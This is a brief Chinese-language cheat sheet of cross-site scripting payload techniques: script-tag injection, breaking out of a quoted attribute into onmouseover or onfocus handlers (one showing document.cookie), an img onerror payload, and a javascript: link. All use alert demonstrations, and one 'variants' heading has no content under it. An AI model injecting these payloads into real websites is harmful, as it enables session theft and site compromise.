xss的構造方式

xss的構造方式：

一，尖括號構造 <script>alert(1)</script>

二，事件構造 "onmouseover="alert(1)

"onfocus="alert(document.cookie)

例如：已知輸入點，首先先閉合雙引號，則構造以下語句

」 onmouseover="alert(1)" type="text

<img src="x" onerror="alert(1)">//屬性須要加雙引號

變形以後：

 三，構造僞協議

<a href=javascript:alert(1)>click on!</a>